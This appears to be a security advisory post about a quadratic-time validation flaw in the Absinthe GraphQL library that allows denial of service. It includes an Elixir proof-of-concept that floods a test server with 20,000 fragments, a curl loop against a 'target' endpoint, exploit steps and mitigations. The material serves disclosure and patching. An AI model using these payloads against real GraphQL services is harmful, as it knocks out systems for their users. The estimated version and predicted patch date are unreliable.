Listen to this Post
The vulnerability exists in Absinthe.Phase.Document.Validation.UniqueFragmentNames, where fragment-name uniqueness validation runs in O(N²) time. For each fragment definition in the input document, the `duplicate?/2` function calls Enum.count(fragments, fn f -> f.name == name end), performing a full linear scan over the entire list of fragments. Since `input.fragments` is built directly from the attacker-controlled query text, an adversary can set `N` (number of fragments) arbitrarily high. A minimum fragment definition is ~16 bytes, so a 1 MB document contains ~60,000 fragments, forcing ~3.6 billion name comparisons. The Phoenix default 8 MB body limit allows even larger attacks. No caps on `N` exist in this module. The validation phase runs before authentication or schema checks, so an unauthenticated POST can pin a worker process for seconds. Sustained traffic exhausts the request-handling pool, causing denial of service. The fix replaces per-fragment linear scans with a single `Enum.frequencies_by/2` pass to build a set of duplicate names, reducing the phase to O(N).
Platform: Absinthe GraphQL
Version: <1.7.6 (estimate)
Vulnerability : Quadratic validation DoS
Severity: Medium (6.5)
date: 2025-03-01 (report)
Prediction: Patch released 2025-03-15
Analytics
What Undercode Say:
Verify quadratic behavior with fragment count mix run dos_test.exs
PoC script (from )
Mix.install([{:absinthe, "~> 1.7"}, {:absinthe_plug, "~> 1.5"}, {:bandit, "~> 1.0"}, {:plug, "~> 1.15"}, {:jason, "~> 1.4"}, {:req, "~> 0.5"}])
defmodule VictimSchema do
use Absinthe.Schema
object :thing do
field :f, :string
end
query do
field :thing, :thing do
resolve(fn _, _ -> {:ok, %{f: "x"}} end)
end
end
end
defmodule VictimRouter do
use Plug.Router
plug :match
plug Plug.Parsers, parsers: [:json], pass: ["/"], json_decoder: Jason
plug :dispatch
forward "/graphql", to: Absinthe.Plug, init_opts: [schema: VictimSchema]
match _ do
send_resp(conn, 404, "nope")
end
end
port = 47817
{:ok, _} = Bandit.start_link(plug: VictimRouter, port: port)
n = 20_000
fragments = 1..n |> Enum.map(fn i -> "fragment f{i} on Thing{f}" end) |> Enum.join(" ")
query = "{ thing { f } } " <> fragments
IO.puts("Sending {n} fragments...")
{us, response} = :timer.tc(fn -> Req.post!("http://127.0.0.1:{port}/graphql", json: %{query: query}, receive_timeout: 600_000, retry: false) end)
IO.puts("Elapsed: {div(us, 1000)} ms")
Simulate sustained attack
for i in {1..100}; do curl -X POST http://target/graphql -H "Content-Type: application/json" -d '{"query":"fragment a on T{f} ... 50000 fragments ..."}'; done
Exploit:
Send HTTP POST with GraphQL query containing 20k+ minimal fragments (e.g., fragment f1 on Thing{f} fragment f2 on Thing{f} ...). No authentication. Observe CPU pinned and response latency >15s.
Protection from this CVE:
Upgrade Absinthe to patched version (>=1.7.6). Alternatively, lower Phoenix `:body_limit` to 128KB or less to restrict fragment count. Use reverse proxy rate limiting. Apply Web Application Firewall rule to reject queries with many fragment definitions.
Impact:
Single unauthenticated request exhausts worker for seconds; sustained traffic causes full denial of service. All Absinthe-backed GraphQL endpoints exposed to untrusted callers are vulnerable. No schema knowledge required.
🎯Let’s Practice Exploiting & Learn Patching For Free:
Sources:
Reported By: github.com
Extra Source Hub:
Undercode

